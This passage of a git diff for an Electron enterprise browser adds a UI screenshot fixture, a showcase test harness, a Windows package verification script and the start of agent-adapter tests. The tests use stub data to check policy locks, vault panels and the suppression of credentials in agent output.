fixture · public example metadata',aiEnabled:true,agentsEnabled:true,documentScanEnabled:true,passwordManagerEnabled:true,vaultExists:true,vaultLocked:locked}); +const vaultStatus=()=>({exists:true,locked,enabled:true,idleLockSeconds:120,allowSaving:true,allowAutofill:true}); +ipcMain.handle('ui-fixture',(_event,method)=>{ + if(method==='state')return {ok:true,data:state()}; + if(method==='vaultStatus')return {ok:true,data:vaultStatus()}; + if(method==='vaultList')return {ok:true,data:locked?[]:[{id:'fixture-1',origin:'https://example.test',label:'Public example account',username:'alex@example.test'}]}; + if(method==='vaultLock'){locked=true;return {ok:true,data:vaultStatus()};} + if(method==='vaultUnlock'){locked=false;return {ok:true,data:vaultStatus()};} + if(['toggleVault','toggleAI'].includes(method))return {ok:true,data:null}; + return {ok:false,error:'This preview does not perform real browser or credential operations.'}; +}); +const preload=path.join(fixtureDirectory,'fixture-preload.cjs'); +fs.writeFileSync(preload,`const {contextBridge,ipcRenderer}=require('electron');const api={onState:()=>()=>{}};for(const method of ['state','toggleVault','toggleAI','vaultStatus','vaultList','vaultLock','vaultUnlock','vaultCreate','vaultSave','vaultDelete','vaultFill','vaultGenerate'])api[method]=(...args)=>ipcRenderer.invoke('ui-fixture',method,...args);contextBridge.exposeInMainWorld('safetynet',api);`); +app.whenReady().then(async()=>{ + let win; + try{ + win=new BrowserWindow({show:false,useContentSize:true,width:1320,height:900,webPreferences:{preload,contextIsolation:true,sandbox:true,nodeIntegration:false}}); + await win.loadFile(path.resolve('apps/browser/index.html')); + await win.webContents.executeJavaScript(`document.getElementById('passwords').click()`); + for(let n=0;n<40;n++){ + if(await win.webContents.executeJavaScript(`document.getElementById('vault-list').textContent.includes('Public example account')`))break; + await new Promise(resolve=>setTimeout(resolve,50)); + } + await win.webContents.executeJavaScript(`(()=>{const label=document.createElement('div');label.id='fixture-label';label.textContent='UI fixture preview · invented public metadata';label.style.cssText='position:fixed;left:30px;top:135px;color:#8994a3;font:12px Segoe UI';document.body.append(label);})()`); + await win.webContents.executeJavaScript(`new Promise(resolve=>requestAnimationFrame(()=>requestAnimationFrame(resolve)))`); + fs.mkdirSync(path.resolve('artifacts'),{recursive:true}); + fs.writeFileSync(path.resolve('artifacts/ui-vault-preview.png'),(await win.webContents.capturePage()).toPNG()); + await win.webContents.executeJavaScript(`document.getElementById('vault-lock').click()`); + for(let n=0;n<40;n++){ + if(await win.webContents.executeJavaScript(`!document.getElementById('vault-access').hidden`))break; + await new Promise(resolve=>setTimeout(resolve,50)); + } + fs.writeFileSync(path.resolve('artifacts/ui-vault-locked-preview.png'),(await win.webContents.capturePage()).toPNG()); + const bounds=await win.webContents.executeJavaScript(`JSON.stringify({header:document.querySelector('header').getBoundingClientRect().height,vaultWidth:document.getElementById('vault').getBoundingClientRect().width,vaultTop:document.getElementById('vault').getBoundingClientRect().top,missingIcons:[...document.images].filter(i=>!i.complete||!i.naturalWidth).length,locked:document.getElementById('vault-open').hidden,masked:document.getElementById('vault-master').type==='password'})`); + fs.writeFileSync(path.resolve('artifacts/ui-vault-preview-layout.json'),bounds); + win.setContentSize(800,650); + await win.webContents.executeJavaScript(`new Promise(resolve=>requestAnimationFrame(()=>requestAnimationFrame(resolve)))`); + fs.writeFileSync(path.resolve('artifacts/ui-vault-compact-preview.png'),(await win.webContents.capturePage()).toPNG()); + console.log('UI fixture captured: unlocked and locked password panels.'); + win.destroy();win=null;clearTimeout(watchdog); + cleanup();app.exit(0); + }catch{win?.destroy();clearTimeout(watchdog);cleanup();app.exit(1);} +}).catch(()=>app.exit(1)); +app.on('will-quit',cleanup); diff --git a/scripts/ui-showcase.cjs b/scripts/ui-showcase.cjs new file mode 100644 index 0000000..e57bcd3 --- /dev/null +++ b/scripts/ui-showcase.cjs @@ -0,0 +1,201 @@ +'use strict'; +if (!process.versions.electron) { + const fs = require('node:fs'), path = require('node:path'), os = require('node:os'); + const { spawn } = require('node:child_process'); + const owned = fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-ui-showcase-')); + const env = { ...process.env, SAFETYNET_SHOWCASE_PROFILE: owned }; delete env.ELECTRON_RUN_AS_NODE; + const child = spawn(require('electron'), [__filename], { stdio: 'inherit', windowsHide: true, env }); + const deadline = setTimeout(() => child.kill(), 90_000); + const finish = code => { + clearTimeout(deadline); + const resolved = path.resolve(owned); + if (!resolved.startsWith(path.resolve(os.tmpdir()) + path.sep) || !path.basename(resolved).startsWith('safetynet-ui-showcase-')) throw Error('Unsafe showcase cleanup'); + fs.rmSync(resolved, { recursive: true, force: true, maxRetries: 10, retryDelay: 100 }); + process.exit(code ?? 1); + }; + child.once('error', () => finish(1)); child.once('exit', finish); +} else { +// Finite test harness for the real trusted shell. No production browser startup, +// site view, real credentials, network browsing or external application state. +const { app, BrowserWindow, ipcMain, nativeTheme } = require('electron'); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); +const assert = require('node:assert/strict'); +const { capturePNG } = require('../apps/browser/visual-capture.cjs'); +app.disableHardwareAcceleration(); // Windows fixture uses the CPU compositor; production keeps its sandboxed defaults. +app.commandLine.appendSwitch('force-device-scale-factor', '1'); +const root = path.resolve(__dirname, '..'); +const profile = process.env.SAFETYNET_SHOWCASE_PROFILE || fs.mkdtempSync(path.join(os.tmpdir(), 'safetynet-ui-showcase-')); +if (!profile.startsWith(path.resolve(os.tmpdir()) + path.sep)) throw Error('Unsafe showcase profile'); +app.setPath('userData', profile); +const output = path.join(root, 'artifacts'); +fs.mkdirSync(output, { recursive: true }); +const methods = ['createTab','activateTab','closeTab','groupTab','mutateBookmarks','updateSettings','authorizeSetting','state', 'windowControls', 'setChromeLayout', 'shareURL', 'enroll', 'sso', 'navigate', 'back', 'forward', 'reload', 'ai', 'inspectFile', 'agentConnection', 'toggleAI', 'toggleVault', 'vaultStatus', 'vaultCreate', 'vaultUnlock', 'vaultLock', 'vaultList', 'vaultSave', 'vaultDelete', 'vaultFill', 'vaultGenerate']; +const preload = path.join(profile, 'showcase-preload.cjs'); +fs.writeFileSync(preload, `const {contextBridge,ipcRenderer}=require('electron'); const methods=${JSON.stringify(methods)}; const api={};for(const method of methods)api[method]=(...args)=>ipcRenderer.invoke('showcase:call',method,args);api.onState=callback=>{const listener=(_event,state)=>callback(state);ipcRenderer.on('showcase:state',listener);return()=>ipcRenderer.removeListener('showcase:state',listener);};contextBridge.exposeInMainWorld('safetynet',api);`); +const fixtures = [ + { title: 'Apple Documentation', url: 'https://developer.apple.com/' }, + { title: 'GitHub', url: 'https://github.com/' }, + { title: 'MDN', url: 'https://developer.mozilla.org/' }, + { title: 'Wikipedia', url: 'https://wikipedia.org/' }, + { title: 'Company Intranet', url: 'https://intranet.example.test/' }, + { title: 'Design Library', url: 'https://design.example.test/' } +]; +let state = { ready: true, enrolled: true, brand: { name: 'SafetyNet' }, url: 'https://example.test', pageTitle: 'Reference Workspace', pageColor: '#8aacb4', canNavigate: true, policyVersion: 12, message: 'Public fixture · centrally managed workspace', aiEnabled: true, agentsEnabled: true, documentScanEnabled: true, passwordManagerEnabled: true, vaultLocked: false }; +let nextTab=1;state.tabsRevision=0;state.tabs=[{id:'showcase-native-1',url:state.url,title:state.pageTitle,color:state.pageColor,group:'',startPage:false,canGoBack:false,canGoForward:false}];state.activeTabId=state.tabs[0].id; +function snapshot(){const tab=state.tabs.find(tab=>tab.id===state.activeTabId);state={...state,url:tab.url,pageTitle:tab.title,pageColor:tab.color,tabsRevision:state.tabsRevision+1};return JSON.parse(JSON.stringify(state));} +function publish(sender){const result=snapshot();sender.send('showcase:state',result);return result;} +state.settings={available:true,visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}}; +state.bookmarks={managed:[{...fixtures[4],id:'showcase-company',folder:'Company'}],personal:{revision:0,items:fixtures.filter((_,i)=>i!==4).map((item,i)=>({...item,id:`showcase-${i}`,folder:'Work'}))},allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,adminReadUserBookmarks:true}; +let vaultLocked = false; +const records = [], screenshots = [], consoleErrors = []; +let window, finished = false; +function cleanup() { + if (path.resolve(profile).startsWith(path.resolve(os.tmpdir()) + path.sep) && path.basename(profile).startsWith('safetynet-ui-showcase-')) { + try { fs.rmSync(profile, { recursive: true, force: true }); } catch {} + } +} +if (!process.env.SAFETYNET_SHOWCASE_PROFILE) app.on('quit', cleanup); +const watchdog = setTimeout(() => { console.error('UI showcase exceeded 80 seconds'); app.exit(1); }, 80_000); +watchdog.unref(); +ipcMain.handle('showcase:call', (event, method, args) => { + if (event.sender !== window?.webContents || !methods.includes(method)) return { ok: false, error: 'Showcase operation refused' }; + let data = null; + const navigation=typeof args[0]==='object'?args[0]:{url:args[0],tabId:state.activeTabId}; + if(method==='navigate'&&navigation.url==='https://example.test/slow'){const id=navigation.tabId;return new Promise(resolve=>setTimeout(()=>{const tab=state.tabs.find(tab=>tab.id===id);if(tab){tab.url=navigation.url;tab.title='Delayed public fixture';tab.startPage=false;}resolve({ok:true,data:publish(event.sender)});},250));} + if (method === 'state' || ['enroll', 'sso', 'back', 'forward', 'reload'].includes(method)) data = snapshot(); + else if(method==='createTab'){const tab={id:`showcase-native-${++nextTab}`,url:'',title:'New Tab',group:args[0]?.group||'',startPage:true,color:'#b8c7dd',canGoBack:false,canGoForward:false};state.tabs.push(tab);state.activeTabId=tab.id;data=publish(event.sender);} + else if(method==='activateTab'){assert.ok(state.tabs.some(tab=>tab.id===args[0]));state.activeTabId=args[0];data=publish(event.sender);} + else if(method==='closeTab'){const index=state.tabs.findIndex(tab=>tab.id===args[0]);assert.ok(index>=0);state.tabs.splice(index,1);if(!state.tabs.length){state.tabs.push({id:`showcase-native-${++nextTab}`,url:'',title:'New Tab',group:'',startPage:true,color:'#b8c7dd',canGoBack:false,canGoForward:false});}if(state.activeTabId===args[0])state.activeTabId=state.tabs[Math.min(index,state.tabs.length-1)].id;data=publish(event.sender);} + else if(method==='groupTab'){assert.ok(state.settings.visible&&!state.settings.hiddenSections.includes('library')&&!state.settings.lockedSections.includes('library'));const tab=state.tabs.find(tab=>tab.id===args[0].id);assert.ok(tab);tab.group=args[0].group;data=publish(event.sender);} + else if(method==='mutateBookmarks'){const input=args[0];if(!state.settings.visible||state.settings.hiddenSections.includes('library')||state.settings.lockedSections.includes('library')||input.expectedRevision!==state.bookmarks.personal.revision)return {ok:false,error:'Managed bookmark refused'};assert.equal(input.action,'add');state.bookmarks.personal={revision:state.bookmarks.personal.revision+1,items:[...state.bookmarks.personal.items,input.bookmark]};data=state;event.sender.send('showcase:state',state);} + else if(method==='updateSettings'){if(!state.settings.available||!state.settings.visible||state.settings.hiddenSections.includes('appearance')||state.settings.lockedSections.includes('appearance'))return{ok:false,error:'Managed setting refused'};state.settings={...state.settings,appearance:{...args[0]}};data=state.settings;} + else if(method==='authorizeSetting'){if(!state.settings.available||!state.settings.visible||state.settings.hiddenSections.includes(args[0])||state.settings.lockedSections.includes(args[0]))return{ok:false,error:'Managed setting refused'};data={allowed:true};} + else if (method === 'navigate') { const url = new URL(navigation.url); assert.equal(url.protocol, 'https:');const tab=state.tabs.find(tab=>tab.id===navigation.tabId);assert.ok(tab);tab.url=url.href;tab.title=fixtures.find(item=>item.url===url.href)?.title||'Reference Workspace';tab.startPage=false;data=publish(event.sender); } + else if (method === 'setChromeLayout') { + const layout = args[0]; assert.ok([64, 104].includes(layout.height)); + for (const key of ['sidebarOpen', 'startPageOpen', 'overviewOpen', 'toolsOpen']) assert.equal(typeof layout[key], 'boolean'); + records.push({ method, ...layout, nativeHidden: layout.startPageOpen || layout.overviewOpen || layout.toolsOpen }); data = { applied: true }; + } else if (method === 'windowControls') { assert.ok(['minimize', 'maximize', 'close'].includes(args[0])); records.push({ method, action: args[0], nativeFlag: false }); data = { recorded: true }; } + else if (method === 'shareURL') data = { shared: true }; + else if (method === 'toggleAI' || method === 'toggleVault') { records.push({ method, open: args[0] }); data = { applied: true }; } + else if (method === 'vaultStatus') data = { enabled: true, exists: true, locked: vaultLocked, allowSaving: true, allowAutofill: true, idleLockSeconds: 300 }; + else if (method === 'vaultList') data = [{ id: 'public-fixture', origin: 'https://example.test', username: 'example-user', label: 'Public demonstration account' }]; + else if (method === 'vaultLock') { vaultLocked = true; data = { locked: true }; } + else if (method === 'vaultCreate' || method === 'vaultUnlock') { vaultLocked = false; data = { locked: false }; } + else if (method === 'vaultGenerate') data = 'PUBLIC-DEMONSTRATION-ONLY'; + else if (method === 'vaultSave' || method === 'vaultDelete' || method === 'vaultFill') data = { completed: true }; + else if (method === 'ai') data = { answer: 'Public local fixture response.' }; + else if (method === 'agentConnection') data = { address: 'http://127.0.0.1:0', credentialPath: 'Public showcase · no pairing credential' }; + return { ok: true, data }; +}); +const delay = milliseconds => new Promise(resolve => setTimeout(resolve, milliseconds)); +async function execute(source) { return window.webContents.executeJavaScript(source, true); } +async function reloadShell() { + const loaded = new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(Error('Showcase shell reload timed out')), 5000); + window.webContents.once('did-finish-load', () => { clearTimeout(timer); resolve(); }); + }); + window.webContents.reload(); await loaded; await delay(100); +} +async function waitFor(source, expected) { + for (let attempt = 0; attempt < 40; attempt++) { if (await execute(source) === expected) return; await delay(70); } + assert.equal(await execute(source), expected); +} +async function click(id) { await execute(`document.getElementById(${JSON.stringify(id)}).click()`); await delay(100); } +async function appearance(theme, mode) { + await execute(`for(const [id,value] of ${JSON.stringify([['theme-mode', theme], ['tab-mode', mode]])}){const element=document.getElementById(id);element.value=value;element.dispatchEvent(new Event('change',{bubbles:true}));}`); await delay(100); +} +async function accent(value) { + await execute(`(()=>{const selector=document.getElementById('accent-mode');selector.value=${JSON.stringify(value)};selector.dispatchEvent(new Event('change',{bubbles:true}));})()`); await delay(90); +} +async function shot(name) { + console.log('Showcase capture: ' + name); + await execute('document.fonts.ready'); await delay(90); + const measurements = await execute(`(()=>{const rect=id=>{const element=document.getElementById(id),r=element.getBoundingClientRect();return{hidden:element.hidden,x:r.x,y:r.y,width:r.width,height:r.height}};const brokenImages=[...document.images].filter(image=>!image.complete||!image.naturalWidth).map(image=>image.getAttribute('src'));return{viewport:{width:innerWidth,height:innerHeight,zoom:devicePixelRatio},theme:document.documentElement.dataset.theme,effectiveTheme:document.documentElement.dataset.effectiveTheme,accent:document.documentElement.dataset.accent,tabMode:document.documentElement.dataset.tabMode,chrome:rect('chrome'),toolbar:document.querySelector('.toolbar').getBoundingClientRect().height,library:rect('library'),ai:rect('ai'),vault:rect('vault'),startPage:rect('start-page'),overview:rect('overview'),tools:rect('tools-menu'),scrollWidth:document.documentElement.scrollWidth,brokenImages,error:document.getElementById('error').textContent,passwordFieldsEmpty:[...document.querySelectorAll('input[type=password]')].every(input=>!input.value)}})()`); + assert.equal(measurements.toolbar, 64); assert.ok([64, 104].includes(measurements.chrome.height)); + assert.equal(measurements.scrollWidth, measurements.viewport.width); assert.deepEqual(measurements.brokenImages, []); assert.equal(measurements.passwordFieldsEmpty, true); assert.equal(measurements.error, ''); + if (!measurements.library.hidden) assert.equal(measurements.library.width, 240); + for (const panel of ['ai', 'vault']) if (!measurements[panel].hidden) assert.equal(measurements[panel].width, 360); + // This Windows host's native capturePage can return an earlier compositor frame. + // Exercise the existing trusted screenshot-only CDP fallback for finite fixtures. + const capturePage = window.webContents.capturePage; + let png; + try { window.webContents.capturePage = async () => { throw Error('Use finite showcase compositor fallback'); }; png = await capturePNG(window.webContents); } + finally { window.webContents.capturePage = capturePage; } + fs.writeFileSync(path.join(output, name + '.png'), png); screenshots.push({ name, ...measurements }); +} +app.whenReady().then(async () => { + window = new BrowserWindow({ width: 1320, height: 900, useContentSize: true, frame: false, show: true, backgroundColor: '#f7f8fa', webPreferences: { preload, contextIsolation: true, sandbox: true, nodeIntegration: false, zoomFactor: 1 } }); + window.webContents.setZoomFactor(1); + window.webContents.on('console-message', event => { if (event.level === 'error' || event.level >= 3) consoleErrors.push(event.message); }); + window.webContents.on('will-navigate', event => event.preventDefault()); + window.webContents.setWindowOpenHandler(() => ({ action: 'deny' })); + await window.loadFile(path.join(root, 'apps/browser/index.html')); + await execute(`localStorage.clear();localStorage.setItem('sbrowser.bookmarks',${JSON.stringify(JSON.stringify(fixtures))});localStorage.setItem('sbrowser.theme','"light"');localStorage.setItem('sbrowser.tab-mode','"separate"');localStorage.setItem('sbrowser.accent','{"toString":0}');`); + await reloadShell(); + assert.equal(await execute(`document.documentElement.dataset.accent`), 'blue'); + await appearance('auto', 'separate'); nativeTheme.themeSource = 'dark'; + await waitFor(`document.documentElement.dataset.effectiveTheme`, 'dark'); + nativeTheme.themeSource = 'light'; + await waitFor(`document.documentElement.dataset.effectiveTheme`, 'light'); + await appearance('dark', 'separate'); nativeTheme.themeSource = 'light'; await delay(90); + assert.equal(await execute(`document.body.dataset.theme`), 'dark'); + await accent('teal'); await reloadShell(); + assert.equal(await execute(`document.documentElement.dataset.accent`), 'teal'); + assert.equal(await execute(`document.documentElement.dataset.theme`), 'dark'); + assert.equal(await execute(`document.documentElement.style.getPropertyValue('--accent')`), '#007d76'); + await accent('blue'); await appearance('light', 'separate'); + // Real DOM interactions verify tabs, bookmarks, themes and overlay signaling. + await click('tools-toggle'); await click('bookmark'); + await execute(`document.getElementById('bookmark-form').requestSubmit()`); + await waitFor(`document.getElementById('bookmark-editor').open`,false); + assert.equal(state.bookmarks.managed.length+state.bookmarks.personal.items.length,7); + assert.equal(await execute(`JSON.parse(localStorage.getItem('sbrowser.bookmarks')).length`), 6,'User bookmarks must not be mutated through renderer storage'); + await click('new-tab'); await click('sidebar-toggle'); + assert.equal(await execute(`document.querySelectorAll('#favorites-grid .favorite-card').length`), 7); + await shot('sbrowser-light'); + await appearance('dark', 'compact'); await shot('sbrowser-dark'); + await click('tab-overview'); assert.equal(await execute(`document.querySelectorAll('#overview-grid .overview-card').length`), 2); await shot('sbrowser-overview'); + await click('overview-close'); await appearance('light', 'separate'); await click('tools-toggle'); await shot('sbrowser-settings'); + await appearance('dark', 'separate'); await accent('violet'); await shot('sbrowser-theme-violet'); + await appearance('light', 'separate'); await accent('blue'); + await click('passwords'); await shot('sbrowser-vault'); await click('vault-close'); + await appearance('light', 'compact'); window.setContentSize(800, 650); await delay(150); await shot('sbrowser-compact'); + await click('tools-toggle'); await click('ai-toggle'); await shot('sbrowser-compact-panels'); await click('ai-close'); + await execute(`document.getElementById('address').value='https://example.test/slow';document.getElementById('address-form').requestSubmit();`); + await click('new-tab'); await delay(300); + assert.equal(await execute(`document.querySelector('.browser-tab.active .tab-label').textContent`), 'New Tab'); + assert.equal(await execute(`document.getElementById('address').value`), ''); + assert.equal(await execute(`document.getElementById('start-page').hidden`), false); + const latestLayout=records.findLast(record=>record.method==='setChromeLayout');assert.ok(latestLayout.startPageOpen&&latestLayout.nativeHidden); + for (const overlay of ['startPageOpen', 'overviewOpen', 'toolsOpen']) assert.ok(records.some(record => record.method === 'setChromeLayout' && record[overlay] && record.nativeHidden)); + // Policy updates override stale or hostile renderer preferences immediately. + state={...state,settings:{...state.settings,lockedSections:['appearance','ai','passwords','documentScan','agents'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}}}; + window.webContents.send('showcase:state',state);await delay(120); + await execute(`localStorage.setItem('sbrowser.theme','"light"');localStorage.setItem('sbrowser.accent','"blue"');window.dispatchEvent(new StorageEvent('storage',{key:'sbrowser.theme'}));`); + assert.equal(await execute(`document.body.dataset.theme`),'dark'); + assert.equal(await execute(`document.documentElement.dataset.accent`),'violet'); + assert.equal(await execute(`['theme-mode','accent-mode','tab-mode','ai-toggle','passwords','inspect','agents'].every(id=>document.getElementById(id).disabled)`),true); + assert.equal((await execute(`window.safetynet.updateSettings({mode:'light',accent:'blue',tabMode:'separate'})`)).ok,false); + state={...state,settings:{...state.settings,lockedSections:[],hiddenSections:['appearance','ai','passwords','documentScan','agents'],visible:true}}; + window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`['appearance-section','ai-toggle','sidebar','passwords','inspect','agents'].every(id=>document.getElementById(id).hidden)`),true); + state={...state,settings:{...state.settings,visible:false}};window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`document.getElementById('tools-toggle').hidden&&document.getElementById('tools-menu').hidden`),true); + state={...state,settings:{...state.settings,hiddenSections:['appearance']}};window.webContents.send('showcase:state',state);await delay(100); + assert.equal(await execute(`!document.getElementById('quick-ai').hidden&&!document.getElementById('quick-ai').disabled&&document.getElementById('appearance-section').hidden`),true); + await click('quick-ai');assert.equal(await execute(`document.getElementById('ai').hidden`),false);await click('ai-close'); + await reloadShell();assert.equal(await execute(`document.getElementById('tools-toggle').hidden&&document.body.dataset.theme==='dark'`),true); + await execute(`document.getElementById('error').textContent=''`); + for (const control of ['window-minimize', 'window-maximize', 'window-close']) await click(control); + assert.equal(records.filter(record => record.method === 'windowControls').length, 3); + fs.writeFileSync(path.join(output, 'sbrowser-ui-layout.json'), JSON.stringify({ fixtureOnly: true, managedSettingsProof:{liveLocks:true,hiddenSections:true,globalHidden:true,localStorageCannotOverride:true,reloadPreservesPolicy:true,directUpdateRejected:true,globalHiddenPreservesApprovedFeatures:true},screenshots, records, consoleErrors }, null, 2)); + assert.deepEqual(consoleErrors, []); + finished = true; clearTimeout(watchdog); console.log('UI showcase passed: eight screenshots, live system themes, persisted accents, real DOM interactions and delayed-navigation regression.'); + if(window.webContents.debugger.isAttached())window.webContents.debugger.detach(); + window.destroy(); app.exit(0); +}).catch(error => { clearTimeout(watchdog); console.error(error.message); if (!finished) app.exit(1); }); +} + diff --git a/scripts/verify-package.mjs b/scripts/verify-package.mjs new file mode 100644 index 0000000..553e3b2 --- /dev/null +++ b/scripts/verify-package.mjs @@ -0,0 +1,56 @@ +import {createRequire} from 'node:module'; +import {spawn} from 'node:child_process'; +import fs from 'node:fs/promises'; +import path from 'node:path'; +import os from 'node:os'; +import assert from 'node:assert/strict'; +const require=createRequire(import.meta.url); +const {startAgentControl}=require('../apps/browser/agent-control.cjs'); +const {startInspector}=require('../apps/browser/inspection.cjs'); +const root=path.resolve('dist/win-unpacked'); +if(process.platform!=='win32')throw Error('Windows package verification requires Windows'); +const {extractFile}=require('@electron/asar'); +for(const file of ['apps/browser/policy-assignment.cjs','packages/core/policy-groups.mjs','apps/browser/tab-registry.cjs','apps/browser/agent-adapters.cjs','apps/browser/agent-control.cjs','apps/browser/password-fill.cjs','apps/browser/diagnostics.cjs','packages/core/diagnostics.mjs','packages/core/security.mjs'])assert.deepEqual(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)),await fs.readFile(file),`Packaged device/session policy source is stale: ${file}`); +for(const file of ['apps/browser/main.cjs','apps/browser/preload.cjs','apps/browser/site-preload.cjs','apps/browser/clipboard-deny.cjs','apps/browser/clipboard-guard.cjs','apps/browser/clipboard-dom.cjs','apps/browser/page-clipboard-guard.cjs','apps/browser/startup-security.cjs','apps/browser/visual-capture.cjs','apps/browser/renderer.js','apps/browser/index.html','apps/browser/style.css','packages/core/clipboard.mjs']){ + assert.deepEqual(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)),await fs.readFile(file),`Packaged source is stale: ${file}`); +} +for(const file of ['apps/browser/inspection.cjs','apps/browser/managed-settings.cjs','apps/browser/management-channel.cjs','apps/browser/enterprise-inspection.cjs','apps/browser/icap-client.cjs','apps/browser/network-posture.cjs','apps/browser/download-gate.cjs','packages/core/enterprise.mjs','packages/core/semantic.mjs','packages/core/managed-settings.mjs','packages/core/policy-channel.cjs','packages/core/policy.mjs'])assert.ok(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)).equals(await fs.readFile(file)),`Packaged source is stale: ${file}`); +for(const file of ['semantic.py','engine.py','server.py','windows_containment.py','windows_appcontainer.py','sandbox_worker.py','provision_runtime_acl.py'])assert.deepEqual(await fs.readFile(path.join(root,'resources/inspector',file)),await fs.readFile(path.join('apps/inspector',file)),`Packaged inspector is stale: ${file}`); +const temporary=await fs.mkdtemp(path.join(os.tmpdir(),'safetynet-package-')); +for(const file of ['apps/browser/bookmarks.cjs','packages/core/bookmarks.mjs'])assert.ok(extractFile(path.join(root,'resources/app.asar'),path.normalize(file)).equals(await fs.readFile(file)),`Packaged bookmark source is stale: ${file}`); +function run(executable,args,input,timeoutMs=15000){return new Promise((resolve,reject)=>{ + const child=spawn(executable,args,{stdio:['pipe','pipe','pipe'],windowsHide:true,env:{...process.env,PYTHONDONTWRITEBYTECODE:'1'}});let output='',errors=''; + const timer=setTimeout(()=>{child.kill();reject(Error('Package verification timed out'));},timeoutMs); + child.on('error',reject);child.stdout.on('data',data=>output+=data);child.stderr.on('data',data=>errors+=data); + child.on('close',code=>{clearTimeout(timer);resolve({code,output,errors});});child.stdin.end(input); +});} +let service; +try{ + const inspectorBytecode=path.join(root,'resources/inspector/__pycache__'); + const bytecodeExists=()=>fs.stat(inspectorBytecode).then(()=>true,error=>{if(error.code==='ENOENT')return false;throw error;}); + assert.equal(await bytecodeExists(),false,'Package must start with no inspector bytecode cache'); + const packagedInspector=startInspector(path.join(root,'resources'),true); + assert.ok(packagedInspector,'Packaged inspector runtime is missing'); + try{ + const verdict=await packagedInspector.inspect(Buffer.from('Public package verification text'),{dlp:{maxBytes:1048576,rules:[],semantic:{enabled:false}}}); + assert.equal(verdict.decision,'allow','Packaged contained inspector failed'); + assert.equal(verdict.coverage.complete,true); + }finally{packagedInspector.stop();} + const semanticPath=path.join(root,'resources/semantic'); + const actual=await run(path.join(root,'resources/python/python.exe'),['-c','import sys; sys.path.insert(0,sys.argv[1]); from semantic import NativeSemanticModel; m=NativeSemanticModel(sys.argv[2],sys.argv[3]); vectors=m.text_vectors("Public information about weather forecasting."); assert len(vectors)>=1 and len(vectors[0])==768; m.close(); print("Offline packaged semantic CPU inference verified.")',path.join(root,'resources/inspector'),path.join(semanticPath,'models'),path.join(semanticPath,'searchi-gemma-worker.exe')],undefined,45000); + assert.equal(actual.code,0,'Packaged offline semantic inference failed');assert.ok(actual.output.includes('Offline packaged semantic CPU inference verified.')); + service=await startAgentControl({authorize:async()=>({allowed:true,role:'agent',scopes:['sessions:list']}),audit:async()=>{},actions:{sessions:async()=>[{id:'managed',url:'https://example.test/'}]}}); + const encrypted=await run(path.join(root,'resources/python/python.exe'),[path.join(root,'resources/inspector/dpapi.py'),'protect'],JSON.stringify({address:service.address,token:service.token})); + assert.equal(encrypted.code,0,'Packaged DPAPI failed'); + const connection=path.join(temporary,'connection.json'),request=path.join(temporary,'request.json'); + await fs.writeFile(connection,JSON.stringify({format:'windows-dpapi-v1',protectedConnection:encrypted.output})); + await fs.writeFile(request,JSON.stringify({action:'sessions'})); + const result=await run(path.join(root,'SafetyNet.exe'),[`--agent-connection=${connection}`,`--agent-action=${request}`]); + assert.equal(result.code,0,'Packaged agent helper failed');assert.equal(JSON.parse(result.output).result[0].id,'managed');assert.equal(result.output.includes(service.token),false); + assert.equal(await bytecodeExists(),false,'Cold packaged startup must not create inspector bytecode files'); + console.log('Packaged security sources, Windows-contained inspector, offline EmbeddingGemma 2 CPU inference, Windows agent helper and bundled DPAPI runtime passed.'); +}finally{ + await service?.close(); + if(!temporary.startsWith(path.join(os.tmpdir(),'safetynet-package-')))throw Error('Unexpected temporary directory'); + await fs.rm(temporary,{recursive:true,force:true}); +} diff --git a/tests/agent-adapters.test.mjs b/tests/agent-adapters.test.mjs new file mode 100644 index 0000000..5eaea7a --- /dev/null +++ b/tests/agent-adapters.test.mjs @@ -0,0 +1,174 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import vm from 'node:vm'; +import {createRequire} from 'node:module'; +import {inspect as inspectPolicy} from '../packages/core/policy.mjs'; +import {AgentsSchema} from '../packages/core/security.mjs'; +const {createAgentAdapters}=createRequire(import.meta.url)('../apps/browser/agent-adapters.cjs'); +function fixture(overrides={}) { + let url='https://work.example/',version=1,script,generation=0; + const context={ready:true,policy:{version:1,dlp:{rules:[{id:'corporate',kind:'literal'}]},agents:{enabled:true,allowSensitiveRead:false,allowedHosts:[],scopes:['sessions','read','click','type','navigate','ai']}},destinationAllowed:()=>true,webContents:{getURL:()=>url,executeJavaScript:async code=>{script=code;return {text:'Public material',completed:true};}}}; + const id='71911cdc-a390-4e73-a604-d98d05fd52a5'; + const capture=sessionId=>sessionId!==undefined && sessionId!==id?null:{...context,sessionId:id,foreground:true,policyVersion:version,token:{generation,version,url}}; + const callbacks={getContext:capture,getSessions:()=>[{id,title:'Managed session',foreground:true}],contextCurrent:token=>token.generation===generation&&token.version===version&&token.url===url,navigate:async target=>{url=target;generation++;return capture(id);},ai:async()=>({text:'Helpful answer',token:'secret'}),inspect:async()=>({decision:'allow'}),audit:async()=>{},...overrides}; + return {actions:createAgentAdapters(callbacks),context,id,setVersion:n=>version=n,setUrl:value=>{url=value;generation++;},invalidate:()=>generation++,getScript:()=>script}; +} +test('managed session metadata and outputs never include credentials',async()=>{ + const {actions,id}=fixture(); + assert.deepEqual(await actions.sessions(),[{id,title:'Managed session',foreground:true}]); + assert.deepEqual(await actions.read({}),{text:'Public material'}); + assert.deepEqual(await actions.ai({prompt:'Hello'}),{text:'Helpful answer'}); + await assert.rejects(actions.read({sessionId:'other'}),/unavailable|Unknown/); +}); +test('policy changes, navigation races and cancellation suppress read results',async()=>{ + for(const mutation of ['policy','url','abort']) { + const controller=new AbortController();const f=fixture(); + f.context.webContents.executeJavaScript=async()=>{if(mutation==='policy')f.setVersion(2);if(mutation==='url')f.setUrl('https://evil.example/');if(mutation==='abort')controller.abort();return{text:'safe'};}; + await assert.rejects(f.actions.read({}, {signal:controller.signal})); + } +}); +test('inspection blocks sensitive reads; explicit read approval never overrides secret detection',async()=>{ + const 